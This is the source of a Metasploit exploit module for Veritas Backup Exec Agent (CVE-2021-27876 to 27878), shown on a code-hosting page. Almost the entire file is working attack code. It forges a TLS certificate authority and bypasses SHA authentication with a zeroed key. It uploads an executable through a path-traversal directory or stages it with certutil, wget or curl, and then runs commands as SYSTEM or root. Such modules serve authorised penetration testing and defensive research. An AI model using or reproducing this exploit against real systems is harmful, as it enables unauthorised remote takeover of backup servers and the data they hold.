Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb
Views: 11784
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::NDMPSocket12include Msf::Exploit::CmdStager13include Msf::Exploit::EXE14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Veritas Backup Exec Agent Remote Code Execution',21'Description' => %q{22Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.23This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.24An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to25the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges26depending on the platform.2728The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and29including Backup Exec Remote Agent revision 9.3)30},31'License' => MSF_LICENSE,32'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],33'References' => [34['CVE', '2021-27876'],35['CVE', '2021-27877'],36['CVE', '2021-27878'],37['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']38],39'Platform' => %w[win linux],40'Targets' => [41[42'Windows',43{44'Platform' => 'win',45'Arch' => [ARCH_X86, ARCH_X64],46'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]47}48],49[50'Linux',51{52'Platform' => 'linux',53'Arch' => [ARCH_X86, ARCH_X64],54'CmdStagerFlavor' => %w[bourne wget curl echo]55}56]57],58'DefaultOptions' => {59'RPORT' => 10_00060},61'Privileged' => true,62'DisclosureDate' => '2021-03-01',63'DefaultTarget' => 0,64'Notes' => {65'Reliability' => [UNRELIABLE_SESSION],66'Stability' => [CRASH_SAFE],67'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]68}69)70)7172register_options([73OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],74conditions: ['TARGET', '==', 'Linux'])75])76deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')77end7879def execute_command(cmd, opts = {})80case target.opts['Platform']81when 'win'82wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""83when 'linux'84wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""85end86ndmp_sock = opts[:ndmp_sock]87ndmp_sock.do_request_response(88NDMP::Message.new_request(89NDMP_EXECUTE_COMMAND,90NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr91)92)93end9495def exploit96print_status('Exploiting ...')9798ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect99fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status100101ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)102fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status103104ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)105fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status106107if target.opts['Platform'] == 'win'108filename = "#{rand_text_alpha(8)}.exe"109ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)110if ndmp_status111ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)112fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status113else114print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')115execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })116end117else118print_status('Uploading payload with CmdStager')119execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })120end121end122123def check124print_status('Checking vulnerability')125126ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect127return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status128129print_status('Getting supported authentication types')130ndmp_msg = ndmp_sock.do_request_response(131NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)132)133ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)134print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|135"#{AUTH_TYPES[k]} (#{k})"136end.join(', ')}")137print_status("BE agent revision: #{ndmp_payload.revision}")138139if ndmp_payload.auth_types.include?(5)140Exploit::CheckCode::Appears('SHA authentication is enabled')141else142Exploit::CheckCode::Safe('SHA authentication is disabled')143end144end145146def ndmp_connect147print_status('Connecting to BE Agent service')148ndmp_msg = nil149begin150ndmp_sock = NDMP::Socket.new(connect)151rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,152Rex::ConnectionRefused => e153return [false, nil, e.to_s]154end155begin156Timeout.timeout(datastore['ConnectTimeout']) do157ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)158end159rescue Timeout::Error160return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']161else162ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)163end164165ndmp_msg = ndmp_sock.do_request_response(166NDMP::Message.new_request(167NDMP::Message::CONNECT_OPEN,168NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr169)170)171172ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)173unless ndmp_payload.err_code.zero?174return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]175end176177[true, ndmp_sock, nil]178end179180def tls_enabling(ndmp_sock)181print_status('Enabling TLS for NDMP connection')182ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)183ndmp_tls_certs.forge_ca184ndmp_msg = ndmp_sock.do_request_response(185NDMP::Message.new_request(186NDMP_SSL_HANDSHAKE,187NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr188)189)190ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)191unless ndmp_payload.err_code.zero?192return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]193end194195ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)196197ndmp_msg = ndmp_sock.do_request_response(198NDMP::Message.new_request(199NDMP_SSL_HANDSHAKE,200NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr201)202)203ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)204unless ndmp_payload.err_code.zero?205return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]206end207208ndmp_msg = ndmp_sock.do_request_response(209NDMP::Message.new_request(210NDMP_SSL_HANDSHAKE,211NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr212)213)214ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)215unless ndmp_payload.err_code.zero?216return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]217end218219ssl_context = OpenSSL::SSL::SSLContext.new220ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)221ndmp_sock.wrap_with_ssl(ssl_context)222[true, nil]223end224225def sha_authentication(ndmp_sock)226print_status('Passing SHA authentication')227ndmp_msg = ndmp_sock.do_request_response(228NDMP::Message.new_request(229NDMP_CONFIG_GET_AUTH_ATTR,230NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr231)232)233ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)234unless ndmp_payload.err_code.zero?235return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]236end237238ndmp_msg = ndmp_sock.do_request_response(239NDMP::Message.new_request(240NDMP::Message::CONNECT_CLIENT_AUTH,241NdmpConnectClientAuthReq.new(242{243auth_type: 5,244username: 'Administrator', # Doesn't metter245hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)246}247).to_xdr248)249)250ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)251unless ndmp_payload.err_code.zero?252return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]253end254255[true, nil]256end257258def win_write_upload(ndmp_sock, filename)259print_status('Uploading payload with NDMP_FILE_WRITE packet')260ndmp_msg = ndmp_sock.do_request_response(261NDMP::Message.new_request(262NDMP_FILE_OPEN_EXT,263NdmpFileOpenExtReq.new(264{265filename: filename,266dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',267mode: 4268}269).to_xdr270)271)272ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)273unless ndmp_payload.err_code.zero?274return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]275end276277hnd = ndmp_payload.handler278exe = generate_payload_exe279offset = 0280block_size = 2048281282while offset < exe.length283ndmp_msg = ndmp_sock.do_request_response(284NDMP::Message.new_request(285NDMP_FILE_WRITE,286NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr287)288)289ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)290unless ndmp_payload.err_code.zero?291return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]292end293294offset += block_size295end296297ndmp_msg = ndmp_sock.do_request_response(298NDMP::Message.new_request(299NDMP_FILE_CLOSE,300NdmpFileCloseReq.new({ handler: hnd }).to_xdr301)302)303ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)304unless ndmp_payload.err_code.zero?305return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]306end307308[true, nil]309end310311def exec_win_command(ndmp_sock, filename)312cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""313ndmp_msg = ndmp_sock.do_request_response(314NDMP::Message.new_request(315NDMP_EXECUTE_COMMAND,316NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr317)318)319ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)320unless ndmp_payload.err_code.zero?321return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]322end323324[true, nil]325end326327# Class to create CA and client certificates328class NdmpTlsCerts329def initialize(hostname, ip)330@hostname = hostname331@ip = ip332@ca_key = nil333@ca_cert = nil334@be_agent_cert = nil335end336337SSL_HANDSHAKE_TYPES = {338SSL_HANDSHAKE_TEST_CERT: 1,339SSL_HANDSHAKE_CSR_REQ: 2,340SSL_HANDSHAKE_CSR_SIGNED: 3,341SSL_HANDSHAKE_CONNECT: 4342}.freeze343344attr_reader :ca_cert, :ca_key345346def forge_ca347@ca_key = OpenSSL::PKey::RSA.new(2048)348@ca_cert = OpenSSL::X509::Certificate.new349@ca_cert.version = 2350@ca_cert.serial = rand(2**32..2**64 - 1)351@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")352extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)353@ca_cert.extensions = [354extn_factory.create_extension('subjectKeyIdentifier', 'hash'),355extn_factory.create_extension('basicConstraints', 'CA:TRUE'),356extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')357]358@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))359@ca_cert.public_key = @ca_key.public_key360@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24361@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60362@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))363end364365def sign_agent_csr(csr)366o_csr = OpenSSL::X509::Request.new(csr)367@be_agent_cert = OpenSSL::X509::Certificate.new368@be_agent_cert.version = 2369@be_agent_cert.serial = rand(2**32..2**64 - 1)370@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24371@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60372@be_agent_cert.issuer = @ca_cert.subject373@be_agent_cert.subject = o_csr.subject374@be_agent_cert.public_key = o_csr.public_key375@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))376end377378def default_sslpacket_content(ssl_packet_type)379if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]380ca_cert = @ca_cert.to_s381agent_cert = @be_agent_cert.to_s382else383ca_cert = ''384agent_cert = ''385end386{387ssl_packet_type: ssl_packet_type,388hostname: @hostname,389nb_hostname: @hostname.upcase,390ip_addr: @ip,391cert_id1: get_cert_id(@ca_cert),392cert_id2: get_cert_id(@ca_cert),393unknown1: 0,394unknown2: 0,395ca_cert_len: ca_cert.length,396ca_cert: ca_cert,397agent_cert_len: agent_cert.length,398agent_cert: agent_cert399}400end401402def get_cert_id(cert)403Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')404end405end406407NDMP_CONFIG_GET_AUTH_ATTR = 0x103408NDMP_SSL_HANDSHAKE = 0xf383409NDMP_EXECUTE_COMMAND = 0xf30f410NDMP_FILE_OPEN_EXT = 0xf308411NDMP_FILE_WRITE = 0xF309412NDMP_FILE_CLOSE = 0xF306413414AUTH_TYPES = {4151 => 'Text',4162 => 'MD5',4173 => 'BEWS',4184 => 'SSPI',4195 => 'SHA',420190 => 'BEWS2' # 0xBE421}.freeze422423# Responce packets424class NdmpNotifyConnectedRes < XDR::Struct425attribute :connected, XDR::Int426attribute :version, XDR::Int427attribute :reason, XDR::Int428end429430class NdmpConnectOpenRes < XDR::Struct431attribute :err_code, XDR::Int432end433434class NdmpConfigGetServerInfoRes < XDR::Struct435attribute :err_code, XDR::Int436attribute :vendor_name, XDR::String[]437attribute :product_name, XDR::String[]438attribute :revision, XDR::String[]439attribute :auth_types, XDR::VarArray[XDR::Int]440end441442class NdmpConfigGetHostInfoRes < XDR::Struct443attribute :err_code, XDR::Int444attribute :hostname, XDR::String[]445attribute :os, XDR::String[]446attribute :os_info, XDR::String[]447attribute :ip, XDR::String[]448end449450class NdmpSslHandshakeRes < XDR::Struct451attribute :data_len, XDR::Int452attribute :data, XDR::String[]453attribute :err_code, XDR::Int454attribute :unknown4, XDR::String[]455end456457class NdmpConfigGetAuthAttrRes < XDR::Struct458attribute :err_code, XDR::Int459attribute :auth_type, XDR::Int460attribute :challenge, XDR::Opaque[64]461end462463class NdmpConnectClientAuthRes < XDR::Struct464attribute :err_code, XDR::Int465end466467class NdmpExecuteCommandRes < XDR::Struct468attribute :err_code, XDR::Int469end470471class NdmpFileOpenExtRes < XDR::Struct472attribute :err_code, XDR::Int473attribute :handler, XDR::Int474end475476class NdmpFileWriteRes < XDR::Struct477attribute :err_code, XDR::Int478attribute :recv_len, XDR::Int479attribute :unknown, XDR::Int480end481482class NdmpFileCloseRes < XDR::Struct483attribute :err_code, XDR::Int484end485486# Request packets487class NdmpConnectOpenReq < XDR::Struct488attribute :version, XDR::Int489end490491class NdmpSslHandshakeReq < XDR::Struct492attribute :ssl_packet_type, XDR::Int493attribute :nb_hostname, XDR::String[]494attribute :hostname, XDR::String[]495attribute :ip_addr, XDR::String[]496attribute :cert_id1, XDR::Int497attribute :cert_id2, XDR::Int498attribute :unknown1, XDR::Int499attribute :unknown2, XDR::Int500attribute :ca_cert_len, XDR::Int501attribute :ca_cert, XDR::String[]502attribute :agent_cert_len, XDR::Int503attribute :agent_cert, XDR::String[]504end505506class NdmpConfigGetAuthAttrReq < XDR::Struct507attribute :auth_type, XDR::Int508end509510class NdmpConnectClientAuthReq < XDR::Struct511attribute :auth_type, XDR::Int512attribute :username, XDR::String[]513attribute :hash, XDR::Opaque[32]514end515516class NdmpExecuteCommandReq < XDR::Struct517attribute :cmd, XDR::String[]518attribute :unknown, XDR::Int519end520521class NdmpFileOpenExtReq < XDR::Struct522attribute :filename, XDR::String[]523attribute :dir, XDR::String[]524attribute :mode, XDR::Int525end526527class NdmpFileWriteReq < XDR::Struct528attribute :handler, XDR::Int529attribute :len, XDR::Int530attribute :data, XDR::String[]531end532533class NdmpFileCloseReq < XDR::Struct534attribute :handler, XDR::Int535end536end537538539